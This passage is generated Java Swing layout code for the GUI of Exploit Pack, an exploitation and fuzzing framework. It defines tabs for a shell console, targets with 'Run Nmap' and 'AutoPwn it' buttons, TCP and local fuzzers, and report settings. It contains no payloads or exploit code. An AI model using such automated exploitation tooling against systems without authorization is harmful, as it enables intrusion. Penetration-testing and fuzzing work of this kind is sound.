        jTextFieldShellinput.setBackground(java.awt.Color.black);
        jTextFieldShellinput.setFont(new java.awt.Font("Monospaced", 0, 12)); // NOI18N
        jTextFieldShellinput.setForeground(java.awt.Color.green);
        jTextFieldShellinput.setText("Type here your commands  and press enter..");
        jTextFieldShellinput.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTextFieldShellinputMouseClicked(evt);
            }
        });
        jTextFieldShellinput.addKeyListener(new java.awt.event.KeyAdapter() {
            public void keyPressed(java.awt.event.KeyEvent evt) {
                jTextFieldShellinputKeyPressed(evt);
            }
        });

        jTextAreaShellcode.setEditable(false);
        jTextAreaShellcode.setBackground(new java.awt.Color(1, 1, 1));
        jTextAreaShellcode.setColumns(20);
        jTextAreaShellcode.setFont(new java.awt.Font("Monospaced", 0, 12)); // NOI18N
        jTextAreaShellcode.setForeground(new java.awt.Color(254, 254, 254));
        jTextAreaShellcode.setRows(5);
        jTextAreaShellcode.setText("WARNING: There is no warranty for this piece of software.\nExploit Pack is a learning platform for exploit development in controlled environments, \nplease DO NOT misuse this tool.\nThe programs or scripts included with Exploit Pack are free software; the exact distribution terms\nfor each one are described in the individual files.\n\nKeep Exploit Pack up-to-date, check: https://github.com/juansacco/exploitpack for the\nmost recent version of this software.\n\n      :::::::::::::    :::::::::::: :::       :::::::::::::::::::::::::::::: \n     :+:       :+:    :+::+:    :+::+:      :+:    :+:   :+:        :+:      \n    +:+        +:+  +:+ +:+    +:++:+      +:+    +:+   +:+        +:+       \n   +#++:++#    +#++:+  +#++:++#+ +#+      +#+    +:+   +#+        +#+        \n  +#+        +#+  +#+ +#+       +#+      +#+    +#+   +#+        +#+         \n #+#       #+#    #+##+#       #+#      #+#    #+#   #+#        #+#          \n#############    ######       #############################    ###        \n\n     :::::::::    :::     :::::::: :::    ::: \n     :+:    :+: :+: :+:  :+:    :+::+:   :+:   \n    +:+    +:++:+   +:+ +:+       +:+  +:+     \n   +#++:++#++#++:++#++:+#+       +#++:++       \n  +#+      +#+     +#++#+       +#+  +#+       \n #+#      #+#     #+##+#    #+##+#   #+#       \n###      ###     ### ######## ###    ### \n\n\"Whitout followers, it cannot spread\" - Star Trek, Season 3, Episode 5\n\n[*] Ready to start? Type ? for help.\n\n");
        jScrollPane2.setViewportView(jTextAreaShellcode);

        jButtonShell1.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/edit-clear.png"))); // NOI18N
        jButtonShell1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButtonShell1ActionPerformed(evt);
            }
        });

        javax.swing.GroupLayout jPanel18Layout = new javax.swing.GroupLayout(jPanel18);
        jPanel18.setLayout(jPanel18Layout);
        jPanel18Layout.setHorizontalGroup(
            jPanel18Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel18Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel18Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jScrollPane2)
                    .addGroup(jPanel18Layout.createSequentialGroup()
                        .addComponent(jTextFieldShellinput)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButtonShell1, javax.swing.GroupLayout.PREFERRED_SIZE, 26, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addGap(2, 2, 2)
                        .addComponent(jButtonShell)))
                .addContainerGap())
        );
        jPanel18Layout.setVerticalGroup(
            jPanel18Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel18Layout.createSequentialGroup()
                .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 531, Short.MAX_VALUE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(jPanel18Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
                    .addGroup(jPanel18Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                        .addComponent(jButtonShell)
                        .addComponent(jTextFieldShellinput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                    .addComponent(jButtonShell1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                .addContainerGap())
        );

        javax.swing.GroupLayout jPanelDashboardLayout = new javax.swing.GroupLayout(jPanelDashboard);
        jPanelDashboard.setLayout(jPanelDashboardLayout);
        jPanelDashboardLayout.setHorizontalGroup(
            jPanelDashboardLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanelDashboardLayout.createSequentialGroup()
                .addGroup(jPanelDashboardLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
                    .addComponent(jPanel18, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(jPanel3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jPanel6, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanelDashboardLayout.setVerticalGroup(
            jPanelDashboardLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanelDashboardLayout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanelDashboardLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                    .addGroup(jPanelDashboardLayout.createSequentialGroup()
                        .addComponent(jPanel3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jPanel18, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                    .addComponent(jPanel6, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                .addContainerGap())
        );

        jTabbedPane.addTab("Home", jPanelDashboard);

        jPanel16.setBackground(java.awt.Color.white);

        jPanel24.setBackground(java.awt.Color.white);

        jToolBar3.setBackground(java.awt.Color.white);
        jToolBar3.setBorder(null);
        jToolBar3.setFloatable(false);
        jToolBar3.setRollover(true);

        jLabel29.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/computer.png"))); // NOI18N
        jLabel29.setText("Target: ");
        jToolBar3.add(jLabel29);

        jLabelTargetName.setText("Selection");
        jToolBar3.add(jLabelTargetName);
        jToolBar3.add(jSeparator41);

        jLabel33.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/shellcode.png"))); // NOI18N
        jLabel33.setText("OS Platform: ");
        jToolBar3.add(jLabel33);

        jLabelPlatform.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/buglittle.png"))); // NOI18N
        jToolBar3.add(jLabelPlatform);
        jToolBar3.add(jSeparator39);

        jCheckBox2.setText("Owned");
        jToolBar3.add(jCheckBox2);
        jToolBar3.add(jSeparator45);

        jButton24.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/agent.png"))); // NOI18N
        jButton24.setText("Run Nmap");
        jButton24.setFocusable(false);
        jButton24.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton24.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton24ActionPerformed(evt);
            }
        });
        jToolBar3.add(jButton24);
        jToolBar3.add(jSeparator37);

        jButton22.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/90-16.png"))); // NOI18N
        jButton22.setText("Delete");
        jButton22.setFocusable(false);
        jButton22.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton22.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton22ActionPerformed(evt);
            }
        });
        jToolBar3.add(jButton22);
        jToolBar3.add(jSeparator44);

        jButton23.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/robotauto.png"))); // NOI18N
        jButton23.setText("AutoPwn it");
        jButton23.setFocusable(false);
        jButton23.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton23.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton23ActionPerformed(evt);
            }
        });
        jToolBar3.add(jButton23);
        jToolBar3.add(jSeparator40);

        jButton15.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1316134049_table_save.png"))); // NOI18N
        jButton15.setText("Save");
        jButton15.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton15ActionPerformed(evt);
            }
        });
        jToolBar3.add(jButton15);
        jToolBar3.add(jSeparator43);

        javax.swing.GroupLayout jPanel24Layout = new javax.swing.GroupLayout(jPanel24);
        jPanel24.setLayout(jPanel24Layout);
        jPanel24Layout.setHorizontalGroup(
            jPanel24Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel24Layout.createSequentialGroup()
                .addComponent(jToolBar3, javax.swing.GroupLayout.DEFAULT_SIZE, 1609, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel24Layout.setVerticalGroup(
            jPanel24Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel24Layout.createSequentialGroup()
                .addComponent(jToolBar3, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(0, 3, Short.MAX_VALUE))
        );

        jPanelTargets.setLayout(new java.awt.BorderLayout());

        javax.swing.GroupLayout jPanel16Layout = new javax.swing.GroupLayout(jPanel16);
        jPanel16.setLayout(jPanel16Layout);
        jPanel16Layout.setHorizontalGroup(
            jPanel16Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel16Layout.createSequentialGroup()
                .addGroup(jPanel16Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jPanel24, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addGroup(jPanel16Layout.createSequentialGroup()
                        .addContainerGap()
                        .addComponent(jPanelTargets, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))
                .addContainerGap())
        );
        jPanel16Layout.setVerticalGroup(
            jPanel16Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel16Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jPanel24, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jPanelTargets, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane.addTab("Targets", jPanel16);

        jPanel10.setBackground(java.awt.Color.white);

        jPanel12.setBackground(java.awt.Color.white);
        jPanel12.setBorder(javax.swing.BorderFactory.createTitledBorder("Fuzzer Dashboard"));

        jTextAreaFuzzerLog.setBackground(java.awt.Color.black);
        jTextAreaFuzzerLog.setColumns(20);
        jTextAreaFuzzerLog.setFont(new java.awt.Font("Monospaced", 0, 12)); // NOI18N
        jTextAreaFuzzerLog.setForeground(java.awt.Color.green);
        jTextAreaFuzzerLog.setRows(5);
        jTextAreaFuzzerLog.setText("Remote fuzzer log output starts here.. Press start to run!\n[*] Requirements: SCAPY installed and configured on your environment.\n[!] Get Scapy from here: https://github.com/secdev/scapy\n\nUsage: Fuzzer.py [OPTION] hostname port payload\n[*] Mandatory arguments:\n[-] Specify a hostname and a target\n[-] Choose server or client depends on your application\n\n[*] Optional arguments:\n[-] Use a custom payload if you want to append something!\n[*] From a console: \"python FuzzerTCP.py server/client ipaddress port\"\n\n");
        jTextAreaFuzzerLog.setDoubleBuffered(true);
        jTextAreaFuzzerLog.setMaximumSize(new java.awt.Dimension(0, 0));
        jScrollPane13.setViewportView(jTextAreaFuzzerLog);

        jLabel28.setText("Hostname/IP:");

        jButtonFuzzer.setBackground(java.awt.Color.red);
        jButtonFuzzer.setForeground(java.awt.Color.white);
        jButtonFuzzer.setText("Start Fuzzer");
        jButtonFuzzer.setEnabled(false);
        jButtonFuzzer.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jButtonFuzzerMouseClicked(evt);
            }
        });
        jButtonFuzzer.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButtonFuzzerActionPerformed(evt);
            }
        });

        jTextFieldFuzzHost.setText("127.0.0.1");
        jTextFieldFuzzHost.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTextFieldFuzzHostMouseClicked(evt);
            }
        });

        jComboBoxFuzzType.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "Client", "Server" }));

        jLabel23.setText("Selection:");

        jLabel30.setText("Port:");

        jTextFieldFuzzPort.setText("2000");
        jTextFieldFuzzPort.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTextFieldFuzzPortMouseClicked(evt);
            }
        });
        jTextFieldFuzzPort.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jTextFieldFuzzPortActionPerformed(evt);
            }
        });

        jLabel31.setText("Custom payload:");

        jButtonFuzzer1.setBackground(java.awt.Color.orange);
        jButtonFuzzer1.setText("Skeleton!");
        jButtonFuzzer1.setEnabled(false);
        jButtonFuzzer1.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jButtonFuzzer1MouseClicked(evt);
            }
        });
        jButtonFuzzer1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButtonFuzzer1ActionPerformed(evt);
            }
        });

        javax.swing.GroupLayout jPanel12Layout = new javax.swing.GroupLayout(jPanel12);
        jPanel12.setLayout(jPanel12Layout);
        jPanel12Layout.setHorizontalGroup(
            jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel12Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jScrollPane13)
                    .addGroup(jPanel12Layout.createSequentialGroup()
                        .addComponent(jLabel28)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jTextFieldFuzzHost, javax.swing.GroupLayout.PREFERRED_SIZE, 189, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jLabel30)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jTextFieldFuzzPort, javax.swing.GroupLayout.PREFERRED_SIZE, 52, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jLabel23)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jComboBoxFuzzType, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addGap(18, 18, 18)
                        .addComponent(jLabel31)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jTextField1, javax.swing.GroupLayout.DEFAULT_SIZE, 672, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButtonFuzzer1)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButtonFuzzer)))
                .addContainerGap())
        );
        jPanel12Layout.setVerticalGroup(
            jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel12Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel28)
                    .addComponent(jButtonFuzzer)
                    .addComponent(jTextFieldFuzzHost, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jComboBoxFuzzType, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel23)
                    .addComponent(jLabel30)
                    .addComponent(jTextFieldFuzzPort, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel31)
                    .addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jButtonFuzzer1))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane13, javax.swing.GroupLayout.DEFAULT_SIZE, 720, Short.MAX_VALUE)
                .addContainerGap())
        );

        javax.swing.GroupLayout jPanel10Layout = new javax.swing.GroupLayout(jPanel10);
        jPanel10.setLayout(jPanel10Layout);
        jPanel10Layout.setHorizontalGroup(
            jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel10Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jPanel12, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel10Layout.setVerticalGroup(
            jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel10Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jPanel12, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane.addTab("TCP Fuzzer", jPanel10);

        jPanel32.setBackground(java.awt.Color.white);

        jPanel33.setBackground(java.awt.Color.white);
        jPanel33.setBorder(javax.swing.BorderFactory.createTitledBorder("Fuzzer Dashboard"));

        jTextAreaFuzzerLog2.setBackground(java.awt.Color.black);
        jTextAreaFuzzerLog2.setColumns(20);
        jTextAreaFuzzerLog2.setFont(new java.awt.Font("Monospaced", 0, 12)); // NOI18N
        jTextAreaFuzzerLog2.setForeground(java.awt.Color.green);
        jTextAreaFuzzerLog2.setRows(5);
        jTextAreaFuzzerLog2.setText("[*] Exploit Pack - Local Fuzzer <jsacco@exploitpack.com>\n[*] Example usage: FuzzerLocal /usr/bin/binary A -noargs -debruijn -lower -upper -random\n[!] Basic usage: FuzzerLocal binary CHAR\nArguments list:\n-all - Use all posible options and methods\n-noargs - Fuzz the binary without arguments\n-debruijn - Use a De Bruijn sequence pattern\n-lower - Brute force binary options using abcdefghijklmnopqrstubwxyz and - / --\n-upper - Brute force binary options using ABCDEFGHIJKLMNOPQRSTUVWXYZ and - / --\n-random - Use a list of random arguments to bruteforce options\n-logname - Use a different log name\n\n");
        jScrollPane15.setViewportView(jTextAreaFuzzerLog2);

        jButtonFuzzer2.setBackground(java.awt.Color.red);
        jButtonFuzzer2.setForeground(java.awt.Color.white);
        jButtonFuzzer2.setText("Start Fuzzer");
        jButtonFuzzer2.setEnabled(false);
        jButtonFuzzer2.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jButtonFuzzer2MouseClicked(evt);
            }
        });
        jButtonFuzzer2.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButtonFuzzer2ActionPerformed(evt);
            }
        });

        jLabel38.setText("Char:");
        jLabel38.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jLabel38MouseClicked(evt);
            }
        });

        jTextFieldFuzzChar.setText("A");

        jLabel39.setText("Select a binary or list:");

        jButton34.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/Folder_o.gif"))); // NOI18N
        jButton34.setText("Open");
        jButton34.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mousePressed(java.awt.event.MouseEvent evt) {
                jButton34MousePressed(evt);
            }
        });

        jCheckBoxNoArgs.setText("NoArgs");

        jCheckBoxRandom.setText("Random");

        jCheckBoxPattern.setText("De Bruijn");

        jCheckBoxLower.setText("LowerCase");

        jCheckBoxUpper.setText("UpperCase");

        jCheckBoxAll.setText("All");

        javax.swing.GroupLayout jPanel33Layout = new javax.swing.GroupLayout(jPanel33);
        jPanel33.setLayout(jPanel33Layout);
        jPanel33Layout.setHorizontalGroup(
            jPanel33Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel33Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel33Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jScrollPane15)
                    .addGroup(jPanel33Layout.createSequentialGroup()
                        .addComponent(jLabel39)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jTextFieldFuzzBinary, javax.swing.GroupLayout.PREFERRED_SIZE, 460, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButton34)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 81, Short.MAX_VALUE)
                        .addComponent(jLabel38)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jTextFieldFuzzChar, javax.swing.GroupLayout.PREFERRED_SIZE, 60, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jCheckBoxNoArgs)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jCheckBoxRandom)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jCheckBoxPattern)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jCheckBoxLower)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jCheckBoxUpper)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jCheckBoxAll)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jButtonFuzzer2)))
                .addContainerGap())
        );
        jPanel33Layout.setVerticalGroup(
            jPanel33Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel33Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel33Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel33Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                        .addComponent(jButtonFuzzer2)
                        .addComponent(jTextFieldFuzzBinary, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addComponent(jLabel39)
                        .addComponent(jButton34))
                    .addGroup(jPanel33Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                        .addComponent(jLabel38)
                        .addComponent(jTextFieldFuzzChar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addComponent(jCheckBoxNoArgs)
                        .addComponent(jCheckBoxRandom)
                        .addComponent(jCheckBoxPattern)
                        .addComponent(jCheckBoxLower)
                        .addComponent(jCheckBoxUpper)
                        .addComponent(jCheckBoxAll)))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane15, javax.swing.GroupLayout.DEFAULT_SIZE, 695, Short.MAX_VALUE)
                .addContainerGap())
        );

        javax.swing.GroupLayout jPanel32Layout = new javax.swing.GroupLayout(jPanel32);
        jPanel32.setLayout(jPanel32Layout);
        jPanel32Layout.setHorizontalGroup(
            jPanel32Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel32Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jPanel33, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel32Layout.setVerticalGroup(
            jPanel32Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel32Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jPanel33, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane.addTab("Local Fuzzer", jPanel32);

        jPanel7.setBackground(java.awt.Color.white);

        jPanel9.setBackground(java.awt.Color.white);

        jPanel11.setBackground(java.awt.Color.white);
        jPanel11.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Report properties"));

        jLabel9.setText("Report name:");

        jTextFieldPentestName.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTextFieldPentestNameMouseClicked(evt);
            }
        });
        jTextFieldPentestName.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jTextFieldPentestNameActionPerformed(evt);
            }
        });

        jLabel16.setText("Subtitle:");

        jTextFieldPentestSubTittle.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTextFieldPentestSubTittleMouseClicked(evt);
            }
        });

        jLabel17.setText("Image logo:");

        jTextFieldPentestImage.setText("/image/path");

        jButton11.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/open.png"))); // NOI18N
        jButton11.setText("Select");
        jButton11.setEnabled(false);
        jButton11.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton11ActionPerformed(evt);
            }
        });

        javax.swing.GroupLayout jPanel11Layout = new javax.swing.GroupLayout(jPanel11);
        jPanel11.setLayout(jPanel11Layout);
        jPanel11Layout.setHorizontalGroup(
            jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel11Layout.createSequentialGroup()
                .addGap(8, 8, 8)
                .addComponent(jLabel9, javax.swing.GroupLayout.PREFERRED_SIZE, 87, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jTextFieldPentestName, javax.swing.GroupLayout.PREFERRED_SIZE, 241, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(18, 18, 18)
                .addComponent(jLabel16)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jTextFieldPentestSubTittle)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jLabel17)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jTextFieldPentestImage, javax.swing.GroupLayout.PREFERRED_SIZE, 216, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jButton11)
                .addContainerGap())
        );
        jPanel11Layout.setVerticalGroup(
            jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel11Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel9)
                    .addComponent(jTextFieldPentestName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel16)
                    .addComponent(jTextFieldPentestSubTittle, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
